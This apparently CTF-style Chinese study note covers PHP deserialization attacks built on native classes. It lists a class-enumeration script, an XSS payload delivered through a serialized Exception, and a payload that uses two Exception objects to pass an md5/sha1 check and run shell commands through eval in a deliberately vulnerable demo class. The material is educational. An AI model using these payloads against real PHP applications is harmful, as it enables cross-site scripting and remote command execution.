0x00 前言
一个星期,都没有结束php反序列化的知识的补充,可以说是一条大懒狗了。不过也好在半推半就的学到了这里,写完这篇文章后,就可以学点别的了(😅,结果可能还是别的语言的反序列化)。今天星期五,12点熄灯,但是我却有点不在状态,即使中间去上了个厕所和洗澡,也没找回状态🤣。现在是晚上十一点了,为了不让自己拖拉着不写(开了头,强迫症就想把它写完),所以赶快乘着还有最后一小时,写一个开头。另外,我在网上,只找到whoami大佬总结的总结的非常详细和全面,所以可能本文就类似于是对他文章的笔记了(侵删)。结果下周星期二才开始写,懒🐕
0x02 原生类
总而言之,就是php中自带的类了,因为里面也有许多魔术方法,所以在我们反序列化漏洞找不到利用的类时,可以进行利用。下面是一个脚本,可以帮助我们找到含有特有魔法变量的原生类:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
))) {
print $class . '::' . $method . "\n";
}
}
}
有挺多的,这里就拿几个别人发掘的来讲吧,毕竟我也发掘不出来🤣。
1.Error和Exception
Error用于PHP代码的错误处理,而Exception则用于异常处理,关于PHP中错误与异常的区别与联系,因为对文本用处不大,所以这里就不详细阐述,如果有兴趣的话,可以点击这个链接🔗(PHP 错误与异常 - SegmentFault 思否)或者自行了解。
Error是从PHP7才引入,Exception是从PHP5开始引入,这两个类中都有__tostring
的魔术方法,但需要开启PHP的报错信息(display_errors, 默认打开),下面的demo将展示如何利用。
进行xss
下面是一个demo:
<?php
$test = $_GET['payload'];
echo unserialize($test);
?>
这里有反序列化,但是并没有可以利用的类,所以我们的原生类就派上用场了,由于原生类是PHP自带的,即使代码中没有类的声明等,我们依然可以进行反序列化。下面是payload的构造:
<?php
$payload = new Exception('<script>alert("hacking")</script>');
echo urlencode(serialize($payload));
?>
接着,我们将得到的payload进行传参测试:
成功的实现了反射型XSS攻击…
hash比较的绕过
<?php
class demo{
public $str1;
public $str2;
public function __construct()
{
$this->str1 = "hack me if u can";
$this->str2 = "what is 0xb";
}
public function __wakeup()
{
if($this->str1 != $this->str2 &&
md5($this->str1) === md5($this->str2) &&
sha1($this->str1) === sha1($this->str2)){
eval($this->str1);
}
}
}
$test = $_GET['payload'];
unserialize($test);
?>
上面的demo中,存在反序列化,而且有一个可供利用的类,且类中有带有危险函数的魔术方法,因此,我们似乎可以直接利用这个类进行反序列化漏洞的利用,进而实现命令执行。然而值得注意的是,上文中的利用需要绕过哈希的强比较;在基础的CTF中,我们常常可以直接利用数组绕过,但这里又要使用使用它进行命令执行,所以我们不能把他变成数组。那我们要怎么绕过呢?请看下面的demo:
<?php
$a = new Exception("foobar",1);$b = new Exception("foobar",2);//Error类与此类似
echo $a;
echo "\r\n==================================\r\n";
echo $b;
echo "\r\n==================================\r\n";
if($a!=$b&&md5($a) === md5($b)){
echo "WOW U CAN REALLY HACK";
}
?>
其结果如图所示:
可以看到,当这两个类的创建,在同一行时并且传入的message一样、后面的一个参数不一样时,PHP判定两者不同,但其调用**__tostring
的输出结果**(echo与md5皆会触发__tostring)是相同的,所以我们就可以利用这一点,绕过哈希比较,并且进行命令执行。
之所以能进行命令执行,是因为eval
同样会触发__tostring
,返回上图中类似的字符串,如果此时我们把上文的”foobar”改为'?><?=`whoami`'
,就会返回下图的字符串:
大无语,因为Exception的返回值是单引号,然后由于种种原因,使其在eval中无法正确解析,会有单引号逃逸。也有可能是我太菜了,不知道怎么闭合,如果有大佬会,请联系我,呜呜
以下就采用Error类,进行利用的演示了
究极大无语事件,以上无法执行的结果是我用php的命令模式在终端得到结果,然而如果在Web上是可以成功执行的,所以还是继续使用Exception类
终极大无语事件,最后我发现,这是php的版本问题,在PHP5下,Exception类的返回值是由单引号的,而7却没有,下图展示两种版本下的区别
下图为PHP7:
所以我们可以利用这两个内置类(PHP7下)来对上文的demo进行利用,payload的构造如下:
<?php
class demo{
public $str1;
public $str2;
public function __construct()
{
$this->str1 = new Exception('?><?=`dir`?>', 1);$this->str2 = new Exception('?><?=`dir`?>', 2);
}
}
echo urlencode(serialize(new demo()));
?>
传参结果如下: